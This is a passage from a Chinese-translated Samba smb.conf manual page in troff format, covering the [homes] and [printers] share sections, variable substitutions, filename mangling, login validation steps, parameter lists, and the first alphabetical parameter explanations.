如果要在[homes]段中定义访问路径\fBpath=\fR,宏%S也许对你很有用.举例如下:
.PP
\fBpath = /data/pchome/%S\fR
.PP
如果你的PC 有与UNIX服务器上个人目录不同的目录,象上面这样的设置会很有用的.
.PP
这是为大量用户提供对他们个人目录的访问的一种快速简洁的办法.
.PP
如果被请求访问的共享资源名就是'homes',那么,除了共享名不被改变为发出请求的用户名外,其他处理过程和前面提到的过程是类似的.这种方式适合于不同用户共享一台终端的情况.
.PP
在[homes]段中可以定义所有普通段中可以使用的选项,可是有些选项更有意义.下面是一个实用的、典型的[homes]段的例子:
.nf
[homes]
read only = no
.fi
.PP
注意,很重要的一点是:如果在[homes]段中定义了允许以guest账户访问的话,任何人都可以\fB无须口令\fR而访问所有账户的宿主目录.也许在某些特殊情况下,这正是想要的结果,在这种情况下,你最好同时把[homes]段设置成\fB只读\fR.
.PP
注意,自动的宿主目录共享资源的\fB可浏览\fR标志是从[global]段继承来的,而不是[homes]段.这样,当在[homes]段中设置\fRbrowseable=no\fR时,用户就看不到单独的'homes'共享,但可以看到自动的宿主目录.
.SS "[printers] 打印机共享设置段"
.PP
这一段很象[homes]段,不过是用于设置共享打印机的.
.PP
如果在本配置文件中存在[printers]段,用户就可以连接到在主机上的printcap文件
中指定的任一打印机.
.PP
当服务器收到连接请求时,首先在已定义的段中搜索,如果有段名与被请求的共享资源名一致,则该段的内容就被采用.如果没有找到匹配的段,且在配置文件中存在[homes]段,则按照前面所说的方式处理.否则,被请求的资源就被当作是一个打印机名,服务器在适当的printcap文件中查找,检验被请求的共享资源名是否是有效的打印机共享名.如果共享名匹配,服务器就会复制[printers]段的内容来生成一个共享打印服务.
.PP
对新建共享的修改:
.TP 3
共享名被设置为查找到的打印机名.
.TP
如果未给出打印机名,则把打印机名设为前面查找到的打印机名.
.TP
如果该共享资源不允许以guest身份进行访问,且没有给出用户名,那么用户名就被设为前面查找到的打印机名.
.LP
.PP
注意,[printers]段必须设置为可打印,如果你不这样设置,服务器会拒绝装载配置文件.
.PP
指定的典型路径应该设为一个公用的可写假脱机目录(spooling)并且设置sticky标志.一个典型的[printers]段如下所示:
.nf
[printers]
path = /usr/spool/public
guest ok = yes
printable = yes
.fi
.PP
上台打印机在printcap文件中列出的所有别名都是服务器相关的有效打印机名.如果你系统的打印子系统的工作方式不是这样,你就必须设置一个伪printcap文件,其中包含一行或多行如下格式的设置:
.nf
别名1|别名2|别名3|别名4...
.fi
.PP
每个别名必须是你的打印子系统可以接受的打印机名.在[global]段中指定这个新文件作为你的printcap文件.这个伪printcap文件可以包含任何你要的别名,而服务器只识别在此文件中列出的名字.这个技术可以很方便的用于限制对本地打印机子集的访问.
.PP
顺便提一下,printcap文件中的别名用每个记录第一项的任何部分来定义.记录由换行进行分隔.如果一条记录中有多个部分,中间用"|"符号分隔.
.RS
.Sh "Note"
.PP
注意,在SYSV系统中,用lpstat可以确定系统中安装了什么样的打印机.你可以设置"printcap name = lpstat"来自动获得打印机列表.详情参见"printcap name"选项.
.RE
.SH "选项 PARAMETERS"
.PP
选项定义了每个段的属性.
.PP
有些选项是在[global]段中设定的(比如有关\fB安全\fR特性的设置),有些可以用在任何段中的(比如\fB建立方式\fR ),剩下的就只能用在普通的段中了.在以下的描述中,[homes]和[printers]段被看作是普通段.标记(\fBG\fR)表示此选项只能在[global]段中使用,标记(\fBS\fR)表示此选项可以在服务定义段中使用.注意,有(\fBS\fR)标记的选项也可以用在[global]段中,在这种情况下,这个选项设置被当作所有其他段的缺省设置.
.PP
选项的详细说明是按照字母顺序排列的,这样也许不是最好的分类方式,但至少保证你可以找得到他们.如果有多个同义词,那么我们只对首选的那个作详细说明,其他的同义词都只指明参阅那个首选的选项名.
.SH "变量替换 VARIABLE SUBSTITUTIONS"
.PP
在配置文件中可以用很多字符串进行替换.例如,当用户以john的名称建立连接后,选项"path = /tmp/%u"就被解释成"path = /tmp/john".
.PP
这些置换会在后面的描述中说明,这里说明一些可以用在任何地方的通用置换.它们是:
.TP
%U
对话用户名(客户端想要的用户名不一定与取得的一致.)
.TP
%G
%U的用户组名
.TP
%h
运行Samba的主机的internet主机名
.TP
%m
客户机的NetBIOS名(非常有用)
.TP
%L
服务器的NetBIOS名.这使得你可以根据调用的客户端来改变你的配置,这样你的服务器就可以拥有"双重个性".
Note that this parameter is not available when Samba listens on port 445, as clients no longer send this information
.TP
%M
客户端的internet主机名
.TP
%R
协议协商后选择的协议,它可以是CORE,COREPLUS,LANMAN1,LANMAN2或NT1中的一种.
.TP
%d
当前samba服务器的进程号.
.TP
%a
远程主机的结构.现在只能认出来某些类型,并且不是100%可靠.目前支持的有Samba、WfWg、WinNT和Win95.任何其他的都被认作"UNKNOWN".如果出现错误就给samba-bugs@samba.org发一个3级的日志以便修复这个bug.
.TP
%I
客户机的IP地址.
.TP
%T
当前的日期和时间.
.TP
%D
Name of the domain or workgroup of the current user\&.
.TP
%$(\fIenvvar\fR)
The value of the environment variable \fIenvar\fR\&.
.PP
The following substitutes apply only to some configuration options(only those that are used when a connection has been established):
.TP
%S
当前服务名
.TP
%P
当前服务的根目录
.TP
%u
当前服务的用户名
.TP
%g
%u的用户组名
.TP
%H
%u所表示的用户的宿主目录
.TP
%N
tNIS服务器的名字.它从auto.map获得.如果没有用\fB--with-auto-mount\fR选项编译samba,那么它的值和%L相同.
.TP
%p
用户宿主目录的路径.它由NIS的auot.map得到.NIS的auot.map入口项被分为"%N:%p".
.PP
灵活运用这些置换和其他的smb.conf选项可以做出非常有创造性的事情来.
.SH NAME
.PP
Samba支持"名称修正",这样dos和windows客户端就可以使用与8.3格式不一致的文件.也可以用来调整8.3格式文件名的大小写.
.PP
有一些选项可以控制名称修正的执行,下面集中列出来.对于缺省情况请看testparm程序的输出结果.
.PP
所有这些选项都可以针对每个服务项单独设置(当然也可以设为全局变量).
.PP
这些选项是:
.TP
mangle case = yes/no
作用是控制是否对不符合缺省写法的名称进行修正.例如,如果设为yes,象"Mail"这样的文件名就会被修正.缺省设置是\fBno\fR.
.TP
case sensitive = yes/no
控制文件名是否区分大小写.如果不区分的话,Samba就必须在传递名称时查找并匹配文件名.缺省设置是\fBno\fR.
.TP
default case = upper/lower
控制新文件名大小写缺省值.缺省设置是\fB小写\fR.
.TP
preserve case = yes/no
控制建新文件时是否用客户所提供的大小写形式,或强制用缺省形式.缺省为\fByes\fR.
.TP
short preserve case = yes/no
控制新建8.3格式的文件名时是全部用大写及合适长度,还是强制用缺省情况.它可以和上面的"preserve case = yes"联用以允许长文件名保持大小写不变,而短文件名为小写.本项的缺省设置是\fByes\fR.
.PP
缺省情况下,Samba3.0与Windows NT相同,就是不区分大小写但保持大小写形式.
.SH "用户名/口令检验中的注意事项 NOTE ABOUT USERNAME/PASSWORD VALIDATION"
.PP
用户有多种连接到服务项的方式.服务器按照下面的步骤来确定是否允许客户对指定服务的连接.如果下面步骤全部失败,则拒绝用户的连接请求.如果某一步通过,余下的检验就不再进行.
.PP
如果被请求的服务项设置为\fIguest only = yes\fR,并且,服务运行在共享级安全模式(\fIsecurity = share\fR) ,则跳过1--5步检查.
.TP 3
第一步:
如果客户端提供一对用户名和口令,且这对用户名和口令经unix系统口令程序检验为有效,那么就以该用户名建立连接.注意,这包括用\fI\\\\server\\service%username\fR方式传递用户名.
.TP
第二步:
如果客户端事先在系统上注册了一个用户名,并且提供了正确的口令,就允许建立连接.
.TP
第三步:
根据提供的口令检查客户端的netbios名及以前用过的用户名,如匹配,就允许以该用户名建立连接.
.TP
第四步:
如果客户端以前有合法的用户名和口令,并获得了有效的令牌,就允许以该用户名建立连接.
.TP
第五步:
如果在\fIsmb.conf\fR里设置了"user = "字段,且客户端提供了一个口令,口令经UNIX系统检验,并与"user="字段里某一个用户匹配,那么就允许以"user="里匹配到的用户名建立连接.如果"user="字段是以@开始,那么该名字会展开为同名组里的用户名列表 .
.TP
第六步:
如果这是一个提供给guest用的服务项,那么连接以"guest account ="里给出的用户名建立,而不考虑提供的口令.
.LP
.SH "全局选项完整列表 COMPLETE LIST OF GLOBAL PARAMETERS"
.PP
以下列出了所有的全局选项,各选项的详细说明请参看后面的相应段落.注意,有些选项的意义是相同的.
.TP 3
\(bu
\fIabort shutdown script\fR
.TP
\(bu
\fIadd group script\fR
.TP
\(bu
\fIadd machine script\fR
.TP
\(bu
\fIaddprinter command\fR
.TP
\(bu
\fIadd share command\fR
.TP
\(bu
\fIadd user script\fR
.TP
\(bu
\fIadd user to group script\fR
.TP
\(bu
\fIafs username map\fR
.TP
\(bu
\fIalgorithmic rid base\fR
.TP
\(bu
\fIallow trusted domains\fR
.TP
\(bu
\fIannounce as\fR
.TP
\(bu
\fIannounce version\fR
.TP
\(bu
\fIauth methods\fR
.TP
\(bu
\fIauto services\fR
.TP
\(bu
\fIbind interfaces only\fR
.TP
\(bu
\fIbrowse list\fR
.TP
\(bu
\fIchange notify timeout\fR
.TP
\(bu
\fIchange share command\fR
.TP
\(bu
\fIclient lanman auth\fR
.TP
\(bu
\fIclient ntlmv2 auth\fR
.TP
\(bu
\fIclient plaintext auth\fR
.TP
\(bu
\fIclient schannel\fR
.TP
\(bu
\fIclient signing\fR
.TP
\(bu
\fIclient use spnego\fR
.TP
\(bu
\fIconfig file\fR
.TP
\(bu
\fIdeadtime\fR
.TP
\(bu
\fIdebug hires timestamp\fR
.TP
\(bu
\fIdebuglevel\fR
.TP
\(bu
\fIdebug pid\fR
.TP
\(bu
\fIdebug timestamp\fR
.TP
\(bu
\fIdebug uid\fR
.TP
\(bu
\fIdefault\fR
.TP
\(bu
\fIdefault service\fR
.TP
\(bu
\fIdelete group script\fR
.TP
\(bu
\fIdeleteprinter command\fR
.TP
\(bu
\fIdelete share command\fR
.TP
\(bu
\fIdelete user from group script\fR
.TP
\(bu
\fIdelete user script\fR
.TP
\(bu
\fIdfree command\fR
.TP
\(bu
\fIdisable netbios\fR
.TP
\(bu
\fIdisable spoolss\fR
.TP
\(bu
\fIdisplay charset\fR
.TP
\(bu
\fIdns proxy\fR
.TP
\(bu
\fIdomain logons\fR
.TP
\(bu
\fIdomain master\fR
.TP
\(bu
\fIdos charset\fR
.TP
\(bu
\fIenable rid algorithm\fR
.TP
\(bu
\fIencrypt passwords\fR
.TP
\(bu
\fIenhanced browsing\fR
.TP
\(bu
\fIenumports command\fR
.TP
\(bu
\fIget quota command\fR
.TP
\(bu
\fIgetwd cache\fR
.TP
\(bu
\fIguest account\fR
.TP
\(bu
\fIhide local users\fR
.TP
\(bu
\fIhomedir map\fR
.TP
\(bu
\fIhost msdfs\fR
.TP
\(bu
\fIhostname lookups\fR
.TP
\(bu
\fIhosts equiv\fR
.TP
\(bu
\fIidmap backend\fR
.TP
\(bu
\fIidmap gid\fR
.TP
\(bu
\fIidmap uid\fR
.TP
\(bu
\fIinclude\fR
.TP
\(bu
\fIinterfaces\fR
.TP
\(bu
\fIkeepalive\fR
.TP
\(bu
\fIkernel change notify\fR
.TP
\(bu
\fIkernel oplocks\fR
.TP
\(bu
\fIlanman auth\fR
.TP
\(bu
\fIlarge readwrite\fR
.TP
\(bu
\fIldap admin dn\fR
.TP
\(bu
\fIldap delete dn\fR
.TP
\(bu
\fIldap filter\fR
.TP
\(bu
\fIldap group suffix\fR
.TP
\(bu
\fIldap idmap suffix\fR
.TP
\(bu
\fIldap machine suffix\fR
.TP
\(bu
\fIldap passwd sync\fR
.TP
\(bu
\fIldap port\fR
.TP
\(bu
\fIldap server\fR
.TP
\(bu
\fIldap ssl\fR
.TP
\(bu
\fIldap suffix\fR
.TP
\(bu
\fIldap user suffix\fR
.TP
\(bu
\fIlm announce\fR
.TP
\(bu
\fIlm interval\fR
.TP
\(bu
\fIload printers\fR
.TP
\(bu
\fIlocal master\fR
.TP
\(bu
\fIlock dir\fR
.TP
\(bu
\fIlock directory\fR
.TP
\(bu
\fIlock spin count\fR
.TP
\(bu
\fIlock spin time\fR
.TP
\(bu
\fIlog file\fR
.TP
\(bu
\fIlog level\fR
.TP
\(bu
\fIlogon drive\fR
.TP
\(bu
\fIlogon home\fR
.TP
\(bu
\fIlogon path\fR
.TP
\(bu
\fIlogon script\fR
.TP
\(bu
\fIlpq cache time\fR
.TP
\(bu
\fImachine password timeout\fR
.TP
\(bu
\fImangled stack\fR
.TP
\(bu
\fImangle prefix\fR
.TP
\(bu
\fImangling method\fR
.TP
\(bu
\fImap to guest\fR
.TP
\(bu
\fImax disk size\fR
.TP
\(bu
\fImax log size\fR
.TP
\(bu
\fImax mux\fR
.TP
\(bu
\fImax open files\fR
.TP
\(bu
\fImax protocol\fR
.TP
\(bu
\fImax smbd processes\fR
.TP
\(bu
\fImax ttl\fR
.TP
\(bu
\fImax wins ttl\fR
.TP
\(bu
\fImax xmit\fR
.TP
\(bu
\fImessage command\fR
.TP
\(bu
\fImin passwd length\fR
.TP
\(bu
\fImin password length\fR
.TP
\(bu
\fImin protocol\fR
.TP
\(bu
\fImin wins ttl\fR
.TP
\(bu
\fIname cache timeout\fR
.TP
\(bu
\fIname resolve order\fR
.TP
\(bu
\fInetbios aliases\fR
.TP
\(bu
\fInetbios name\fR
.TP
\(bu
\fInetbios scope\fR
.TP
\(bu
\fInis homedir\fR
.TP
\(bu
\fIntlm auth\fR
.TP
\(bu
\fInt pipe support\fR
.TP
\(bu
\fInt status support\fR
.TP
\(bu
\fInull passwords\fR
.TP
\(bu
\fIobey pam restrictions\fR
.TP
\(bu
\fIoplock break wait time\fR
.TP
\(bu
\fIos2 driver map\fR
.TP
\(bu
\fIos level\fR
.TP
\(bu
\fIpam password change\fR
.TP
\(bu
\fIpanic action\fR
.TP
\(bu
\fIparanoid server security\fR
.TP
\(bu
\fIpassdb backend\fR
.TP
\(bu
\fIpasswd chat\fR
.TP
\(bu
\fIpasswd chat debug\fR
.TP
\(bu
\fIpasswd program\fR
.TP
\(bu
\fIpassword level\fR
.TP
\(bu
\fIpassword server\fR
.TP
\(bu
\fIpid directory\fR
.TP
\(bu
\fIprefered master\fR
.TP
\(bu
\fIpreferred master\fR
.TP
\(bu
\fIpreload\fR
.TP
\(bu
\fIpreload modules\fR
.TP
\(bu
\fIprintcap\fR
.TP
\(bu
\fIprivate dir\fR
.TP
\(bu
\fIprotocol\fR
.TP
\(bu
\fIread bmpx\fR
.TP
\(bu
\fIread raw\fR
.TP
\(bu
\fIread size\fR
.TP
\(bu
\fIrealm\fR
.TP
\(bu
\fIremote announce\fR
.TP
\(bu
\fIremote browse sync\fR
.TP
\(bu
\fIrestrict anonymous\fR
.TP
\(bu
\fIroot\fR
.TP
\(bu
\fIroot dir\fR
.TP
\(bu
\fIroot directory\fR
.TP
\(bu
\fIsecurity\fR
.TP
\(bu
\fIserver schannel\fR
.TP
\(bu
\fIserver signing\fR
.TP
\(bu
\fIserver string\fR
.TP
\(bu
\fIset primary group script\fR
.TP
\(bu
\fIset quota command\fR
.TP
\(bu
\fIshow add printer wizard\fR
.TP
\(bu
\fIshutdown script\fR
.TP
\(bu
\fIsmb passwd file\fR
.TP
\(bu
\fIsmb ports\fR
.TP
\(bu
\fIsocket address\fR
.TP
\(bu
\fIsocket options\fR
.TP
\(bu
\fIsource environment\fR
.TP
\(bu
\fIstat cache\fR
.TP
\(bu
\fIsyslog\fR
.TP
\(bu
\fIsyslog only\fR
.TP
\(bu
\fItemplate homedir\fR
.TP
\(bu
\fItemplate primary group\fR
.TP
\(bu
\fItemplate shell\fR
.TP
\(bu
\fItime offset\fR
.TP
\(bu
\fItime server\fR
.TP
\(bu
\fItimestamp logs\fR
.TP
\(bu
\fIunicode\fR
.TP
\(bu
\fIunix charset\fR
.TP
\(bu
\fIunix extensions\fR
.TP
\(bu
\fIunix password sync\fR
.TP
\(bu
\fIupdate encrypted\fR
.TP
\(bu
\fIuse mmap\fR
.TP
\(bu
\fIusername level\fR
.TP
\(bu
\fIusername map\fR
.TP
\(bu
\fIuse spnego\fR
.TP
\(bu
\fIutmp\fR
.TP
\(bu
\fIutmp directory\fR
.TP
\(bu
\fIwinbind cache time\fR
.TP
\(bu
\fIwinbind enable local accounts\fR
.TP
\(bu
\fIwinbind enum groups\fR
.TP
\(bu
\fIwinbind enum users\fR
.TP
\(bu
\fIwinbind gid\fR
.TP
\(bu
\fIwinbind separator\fR
.TP
\(bu
\fIwinbind trusted domains only\fR
.TP
\(bu
\fIwinbind uid\fR
.TP
\(bu
\fIwinbind use default domain\fR
.TP
\(bu
\fIwins hook\fR
.TP
\(bu
\fIwins partners\fR
.TP
\(bu
\fIwins proxy\fR
.TP
\(bu
\fIwins server\fR
.TP
\(bu
\fIwins support\fR
.TP
\(bu
\fIworkgroup\fR
.TP
\(bu
\fIwrite raw\fR
.TP
\(bu
\fIwtmp directory\fR
.LP
.SH "服务选项完整列表 COMPLETE LIST OF SERVICE PARAMETERS"
.PP
以下列出了所有关于服务项的选项,各选项的详细说明请参见后面的相应段落.注意,有些选项的意义是相同的.
.TP 3
\(bu
\fIacl compatibility\fR
.TP
\(bu
\fIadmin users\fR
.TP
\(bu
\fIafs share\fR
.TP
\(bu
\fIallow hosts\fR
.TP
\(bu
\fIavailable\fR
.TP
\(bu
\fIblocking locks\fR
.TP
\(bu
\fIblock size\fR
.TP
\(bu
\fIbrowsable\fR
.TP
\(bu
\fIbrowseable\fR
.TP
\(bu
\fIcase sensitive\fR
.TP
\(bu
\fIcasesignames\fR
.TP
\(bu
\fIcomment\fR
.TP
\(bu
\fIcopy\fR
.TP
\(bu
\fIcreate mask\fR
.TP
\(bu
\fIcreate mode\fR
.TP
\(bu
\fIcsc policy\fR
.TP
\(bu
\fIdefault case\fR
.TP
\(bu
\fIdefault devmode\fR
.TP
\(bu
\fIdelete readonly\fR
.TP
\(bu
\fIdelete veto files\fR
.TP
\(bu
\fIdeny hosts\fR
.TP
\(bu
\fIdirectory\fR
.TP
\(bu
\fIdirectory mask\fR
.TP
\(bu
\fIdirectory mode\fR
.TP
\(bu
\fIdirectory security mask\fR
.TP
\(bu
\fIdont descend\fR
.TP
\(bu
\fIdos filemode\fR
.TP
\(bu
\fIdos filetime resolution\fR
.TP
\(bu
\fIdos filetimes\fR
.TP
\(bu
\fIexec\fR
.TP
\(bu
\fIfake directory create times\fR
.TP
\(bu
\fIfake oplocks\fR
.TP
\(bu
\fIfollow symlinks\fR
.TP
\(bu
\fIforce create mode\fR
.TP
\(bu
\fIforce directory mode\fR
.TP
\(bu
\fIforce directory security mode\fR
.TP
\(bu
\fIforce group\fR
.TP
\(bu
\fIforce security mode\fR
.TP
\(bu
\fIforce user\fR
.TP
\(bu
\fIfstype\fR
.TP
\(bu
\fIgroup\fR
.TP
\(bu
\fIguest account\fR
.TP
\(bu
\fIguest ok\fR
.TP
\(bu
\fIguest only\fR
.TP
\(bu
\fIhide dot files\fR
.TP
\(bu
\fIhide files\fR
.TP
\(bu
\fIhide special files\fR
.TP
\(bu
\fIhide unreadable\fR
.TP
\(bu
\fIhide unwriteable files\fR
.TP
\(bu
\fIhosts allow\fR
.TP
\(bu
\fIhosts deny\fR
.TP
\(bu
\fIinherit acls\fR
.TP
\(bu
\fIinherit permissions\fR
.TP
\(bu
\fIinvalid users\fR
.TP
\(bu
\fIlevel2 oplocks\fR
.TP
\(bu
\fIlocking\fR
.TP
\(bu
\fIlppause command\fR
.TP
\(bu
\fIlpq command\fR
.TP
\(bu
\fIlpresume command\fR
.TP
\(bu
\fIlprm command\fR
.TP
\(bu
\fImagic output\fR
.TP
\(bu
\fImagic script\fR
.TP
\(bu
\fImangle case\fR
.TP
\(bu
\fImangled map\fR
.TP
\(bu
\fImangled names\fR
.TP
\(bu
\fImangling char\fR
.TP
\(bu
\fImap acl inherit\fR
.TP
\(bu
\fImap archive\fR
.TP
\(bu
\fImap hidden\fR
.TP
\(bu
\fImap system\fR
.TP
\(bu
\fImax connections\fR
.TP
\(bu
\fImax print jobs\fR
.TP
\(bu
\fImax reported print jobs\fR
.TP
\(bu
\fImin print space\fR
.TP
\(bu
\fImsdfs proxy\fR
.TP
\(bu
\fImsdfs root\fR
.TP
\(bu
\fInt acl support\fR
.TP
\(bu
\fIonly guest\fR
.TP
\(bu
\fIonly user\fR
.TP
\(bu
\fIoplock contention limit\fR
.TP
\(bu
\fIoplocks\fR
.TP
\(bu
\fIpath\fR
.TP
\(bu
\fIposix locking\fR
.TP
\(bu
\fIpostexec\fR
.TP
\(bu
\fIpreexec\fR
.TP
\(bu
\fIpreexec close\fR
.TP
\(bu
\fIpreserve case\fR
.TP
\(bu
\fIprintable\fR
.TP
\(bu
\fIprintcap name\fR
.TP
\(bu
\fIprint command\fR
.TP
\(bu
\fIprinter\fR
.TP
\(bu
\fIprinter admin\fR
.TP
\(bu
\fIprinter name\fR
.TP
\(bu
\fIprinting\fR
.TP
\(bu
\fIprint ok\fR
.TP
\(bu
\fIprofile acls\fR
.TP
\(bu
\fIpublic\fR
.TP
\(bu
\fIqueuepause command\fR
.TP
\(bu
\fIqueueresume command\fR
.TP
\(bu
\fIread list\fR
.TP
\(bu
\fIread only\fR
.TP
\(bu
\fIroot postexec\fR
.TP
\(bu
\fIroot preexec\fR
.TP
\(bu
\fIroot preexec close\fR
.TP
\(bu
\fIsecurity mask\fR
.TP
\(bu
\fIset directory\fR
.TP
\(bu
\fIshare modes\fR
.TP
\(bu
\fIshort preserve case\fR
.TP
\(bu
\fIstrict allocate\fR
.TP
\(bu
\fIstrict locking\fR
.TP
\(bu
\fIstrict sync\fR
.TP
\(bu
\fIsync always\fR
.TP
\(bu
\fIuse client driver\fR
.TP
\(bu
\fIuser\fR
.TP
\(bu
\fIusername\fR
.TP
\(bu
\fIusers\fR
.TP
\(bu
\fIuse sendfile\fR
.TP
\(bu
\fI-valid\fR
.TP
\(bu
\fIvalid users\fR
.TP
\(bu
\fIveto files\fR
.TP
\(bu
\fIveto oplock files\fR
.TP
\(bu
\fIvfs object\fR
.TP
\(bu
\fIvfs objects\fR
.TP
\(bu
\fIvolume\fR
.TP
\(bu
\fIwide links\fR
.TP
\(bu
\fIwritable\fR
.TP
\(bu
\fIwriteable\fR
.TP
\(bu
\fIwrite cache size\fR
.TP
\(bu
\fIwrite list\fR
.TP
\(bu
\fIwrite ok\fR
.LP
.SH "每一个选项的详细解释 EXPLANATION OF EACH PARAMETER"
.TP
abort shutdown script (G)
\fBThis parameter only exists in the HEAD cvs branch\fR This a full path name to a script called by \fBsmbd\fR(8) that should stop a shutdown procedure issued by the \fIshutdown script\fR\&.
This command will be run as user\&.
缺省设置: \fBNone\fR\&.
示例: \fBabort shutdown script = /sbin/shutdown -c\fR
.TP
acl compatibility (S)
This parameter specifies what OS ACL semantics should be compatible with\&. Possible values are \fBwinnt\fR for Windows NT 4, \fBwin2k\fR for Windows 2000 and above and \fBauto\fR\&. If you specify \fBauto\fR, the value for this parameter will be based upon the version of the client\&. There should be no reason to change this parameter from the default\&.
缺省设置: \fBacl compatibility = Auto\fR
示例: \fBacl compatibility = win2k\fR
.TP
add group script (G)
This is the full pathname to a script that will be run \fBAS ROOT\fR by \fBsmbd\fR(8) when a new group is requested\&. It will expand any \fI%g\fR to the group name passed\&. This script is only useful for installations using the Windows NT domain administration tools\&. The script is free to create a group with an arbitrary name to circumvent unix group name restrictions\&. In that case the script must print the numeric gid of the created group on stdout\&.
.TP
add machine script (G)
This is the full pathname to a script that will be run by \fBsmbd\fR(8) when a machine is added to it's domain using the administrator username and password method\&.
This option is only required when using sam back-ends tied to the Unix uid method of RID calculation such as smbpasswd\&. This option is only available in Samba 3\&.0\&.
缺省设置: \fBadd machine script = <空字符串>\fR
示例: \fBadd machine script = /usr/sbin/adduser -n -g machines -c Machine -d /dev/null -s /bin/false %u\fR
.TP
addprinter command (G)
With the introduction of MS-RPC based printing support for Windows NT/2000 clients in Samba 2\&.2, The MS Add Printer Wizard (APW) icon is now also available in the "Printers\&.\&.\&." folder displayed a share listing\&. The APW allows for printers to be add remotely to a Samba or Windows NT/2000 print server\&.
For a Samba host this means that the printer must be physically added to the underlying printing system\&. The \fIadd printer command\fR defines a script to be run which will perform the necessary operations for adding the printer to the print system and to add the appropriate service definition to the \fIsmb\&.conf\fR file in order that it can be shared by \fBsmbd\fR(8)\&.
The \fIaddprinter command\fR is automatically invoked with the following parameter (in order):
\fIprinter name\fR
\fIshare name\fR
\fIport name\fR
\fIdriver name\fR
\fIlocation\fR
\fIWindows 9x driver location\fR
All parameters are filled in from the PRINTER_INFO_2 structure sent by the Windows NT/2000 client with one exception\&. The "Windows 9x driver location" parameter is included for backwards compatibility only\&. The remaining fields in the structure are generated from answers to the APW questions\&.
Once the \fIaddprinter command\fR has been executed, \fBsmbd\fR will reparse the \fI smb\&.conf\fR to determine if the share defined by the APW exists\&. If the sharename is still invalid, then \fBsmbd \fR will return an ACCESS_DENIED error to the client\&.
The "add printer command" program can output a single line of text, which Samba will set as the port the new printer is connected to\&. If this line isn't output, Samba won't reload its printer shares\&.
参见 \fI deleteprinter command\fR, \fIprinting\fR, \fIshow add printer wizard\fR
缺省设置: \fBnone\fR
示例: \fBaddprinter command = /usr/bin/addprinter\fR
.TP
add share command (G)
Samba 2\&.2\&.0 introduced the ability to dynamically add and delete shares via the Windows NT 4\&.0 Server Manager\&. The \fIadd share command\fR is used to define an external program or script which will add a new service definition to \fIsmb\&.conf\fR\&. In order to successfully execute the \fIadd share command\fR, \fBsmbd\fR requires that the administrator be connected using a root account (i\&.e\&. uid == 0)\&.
When executed, \fBsmbd\fR will automatically invoke the \fIadd share command\fR with four parameters\&.
\fIconfigFile\fR - the location of the global \fIsmb\&.conf\fR file\&.
\fIshareName\fR - the name of the new share\&.
\fIpathName\fR - path to an **existing** directory on disk\&.
\fIcomment\fR - comment string to associate with the new share\&.
This parameter is only used for add file shares\&. To add printer shares, see the \fIaddprinter command\fR\&.
参见 \fIchange share command\fR, \fIdelete share command\fR\&.
缺省设置: \fBnone\fR
示例: \fBadd share command = /usr/local/bin/addshare\fR
.TP
add user script (G)
这个选项指出一个脚本的完整文件路径,这个脚本将在特定环境下(下面有详细解释)由\fBsmbd\fR (8)\fB以root身份\fR执行.
通常,samba服务器需要为所有访问服务器上文件的用户建立UNIX用户账号.但是在使用Windows NT账号数据库作为主用户数据库的站点,建立这些用户并在与NT的主域控制器保持用户列表同步是一件很麻烦的事情.这个选项使smbd可以在用户访问时\fB根据需要\fR自动生成UNIX用户账号.
为了使用这个选项,\fBsmbd\fR\fB必须\fR被设置成\fIsecurity=server\fR或者\fIsecurity=domain\fR,并且\fIadd user script\fR必须设为用\fI%u\fR参数来建立unix帐号的脚本文件的全路径,\fI%u\fR扩展成建立的unix帐号名.
当windows用户尝试访问samba服务器时,在登陆时(建立SMB协议会话),\fBsmbd\fR与\fI口令服务器\fR联系,并尝试验证用户名和口令.如果成功,\fBsmbd\fR就会根据unix的口令文件试着将这个windows用户映射成一个unix用户.如果查找失败,但设置了\fIadd user script \fR,smbd就会以\fBroot\fR的身份调用这个脚本,将\fI%u\fR扩展成该要建立的用户账号.
如果这个脚本执行成功,\fBsmbd\fR就认为这个用户已经存在.用这种方式,可以动态建立UNIX用户账号并匹配已有的NT账号.
参见 \fI security\fR, \fIpassword server\fR, \fIdelete user script\fR.
缺省设置: \fBadd user script = <空字符串>\fR
示例: \fBadd user script = /usr/local/samba/bin/add_user %u\fR
.TP
add user to group script (G)
Full path to the script that will be called when a user is added to a group using the Windows NT domain administration tools\&. It will be run by \fBsmbd\fR(8) \fBAS ROOT\fR\&. Any \fI%g\fR will be replaced with the group name and any \fI%u\fR will be replaced with the user name\&.
缺省设置: \fBadd user to group script = \fR
示例: \fBadd user to group script = /usr/sbin/adduser %u %g\fR
.TP
admin users (S)
admin users定义一组对共享有管理特权的用户.就相当于这些用户可以象超级用户那样操作所有的文件.
小心使用该选项,因为在这个名单里的用户可以对共享资源作任何他们想做的事.
缺省设置: \fB没有 admin users\fR
示例: \fBadmin users = jason\fR
.TP
afs share (S)
This parameter controls whether special AFS features are enabled for this share\&. If enabled, it assumes that the directory exported via the \fIpath\fR parameter is a local AFS import\&. The special AFS features include the attempt to hand-craft an AFS token if you enabled --with-fake-kaserver in configure\&.
缺省设置: \fBafs share = no\fR
示例: \fBafs share = yes\fR
.TP
afs username map (G)
If you are using the fake kaserver AFS feature, you might want to hand-craft the usernames you are creating tokens for\&. For example this is necessary if you have users from several domain in your AFS Protection Database\&. One possible scheme to code users as DOMAIN+User as it is done by winbind with the + as a separator\&.
The mapped user name must contain the cell name to log into, so without setting this parameter there will be no token\&.
缺省设置: \fBnone\fR
示例: \fBafs username map = %u@afs.samba.org\fR
.TP
algorithmic rid base (G)
This determines how Samba will use its algorithmic mapping from uids/gid to the RIDs needed to construct NT Security Identifiers\&.
Setting this option to a larger value could be useful to sites transitioning from WinNT and Win2k, as existing user and group rids would otherwise clash with sytem users etc\&.
All UIDs and GIDs must be able to be resolved into SIDs for the correct operation of ACLs on the server\&. As such the algorithmic mapping can't be 'turned off', but pushing it 'out of the way' should resolve the issues\&. Users and groups can then be assigned 'low' RIDs in arbitary-rid supporting backends\&.
缺省设置: \fBalgorithmic rid base = 1000\fR
示例: \fBalgorithmic rid base = 100000\fR
.TP
allow hosts (S)
和\fIhosts allow\fR同义.
.TP
allow trusted domains (G)
这个选项只在\fIsecurity\fR选项被设成\fBserver\fR或\fBdomain\fR模式时才有效果.如果设为no的话,尝试联接到smbd运行的域或工作组以外的资源时会失败,即使那个域是由远程服务器验证为可信的也不行.
